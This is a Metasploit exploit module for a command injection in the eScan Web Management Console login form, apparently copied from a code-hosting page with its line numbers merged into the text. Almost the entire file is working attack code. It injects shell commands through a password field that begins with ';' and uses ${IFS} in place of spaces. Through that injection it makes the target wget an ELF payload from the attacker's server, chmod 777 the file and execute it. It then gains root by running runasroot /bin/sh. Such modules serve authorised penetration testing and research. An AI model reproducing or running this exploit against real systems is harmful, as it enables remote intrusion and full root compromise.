Path: blob/master/modules/exploits/linux/antivirus/escan_password_exec.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'eScan Web Management Console Command Injection',18'Description' => %q{19This module exploits a command injection vulnerability found in the eScan Web Management20Console. The vulnerability exists while processing CheckPass login requests. An attacker21with a valid username can use a malformed password to execute arbitrary commands. With22mwconf privileges, the runasroot utility can be abused to get root privileges. This module23has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.24},25'License' => MSF_LICENSE,26'Author' => [27'Joxean Koret', # Vulnerability Discovery and PoC28'juan vazquez' # Metasploit module29],30'References' => [31[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean32],33'Payload' => {34'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD35'DisableNops' => true36},37'Arch' => ARCH_X86,38'Platform' => 'linux',39'Privileged' => true,40'Stance' => Msf::Exploit::Stance::Aggressive,41'Targets' => [42['eScan 5.5-2 / Linux', {}],43],44'DisclosureDate' => '2014-04-04',45'DefaultTarget' => 0,46'Notes' => {47'Stability' => [CRASH_SAFE],48'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],49'Reliability' => [REPEATABLE_SESSION]50}51)52)5354register_options(55[56Opt::RPORT(10080),57OptString.new('USERNAME', [ true, 'A valid eScan username' ]),58OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),59OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),60OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),61OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),62OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),63]64)65end6667def check68res = send_request_cgi({69'method' => 'GET',70'uri' => normalize_uri(target_uri.path.to_s, 'index.php')71})7273if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/)74return Exploit::CheckCode::Detected75end7677Exploit::CheckCode::Unknown78end7980def cmd_exec(session, cmd)81case session.type82when /meterpreter/83print_warning('Use a shell payload in order to get root!')84when /shell/85o = session.shell_command_token(cmd)86o.chomp! if o87end88return '' if o.nil?8990return o91end9293# Escalating privileges here because runasroot only can't be executed by94# mwconf uid (196).95def on_new_session(session)96cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")97super98end99100def primer101@payload_url = get_uri102wget_payload103end104105def on_request_uri(cli, request)106print_status("Request: #{request.uri}")107if request.uri =~ /#{Regexp.escape(get_resource)}/108print_status('Sending payload...')109send_response(cli, @pl)110end111end112113def autofilter114true115end116117def exploit118@pl = generate_payload_exe119120@payload_url = ''121122if datastore['EXTURL'].blank?123begin124Timeout.timeout(datastore['HTTPDELAY']) { super }125rescue Timeout::Error => e126vprint_error(e.message)127end128else129@payload_url = datastore['EXTURL']130wget_payload131end132exec_payload133end134135# we execute in this way, instead of an ARCH_CMD136# payload because real badchars are: |&)(!><'"`[space]137def wget_payload138@dropped_elf = rand_text_alpha(rand(3..7))139command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"140141print_status('Downloading the payload to the target machine...')142res = exec_command(command)143if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/144register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))145else146fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")147end148end149150def exec_payload151command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"152command << File.join(datastore['WRITABLEDIR'], @dropped_elf)153154print_status('Executing the payload...')155exec_command(command, 1)156end157158def exec_command(command, timeout = 20)159send_request_cgi({160'method' => 'POST',161'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),162'vars_post' => {163'uname' => datastore['USERNAME'],164'pass' => ";#{command}",165'product_name' => 'escan',166'language' => 'English',167'login' => 'Login'168}169}, timeout)170end171end172173174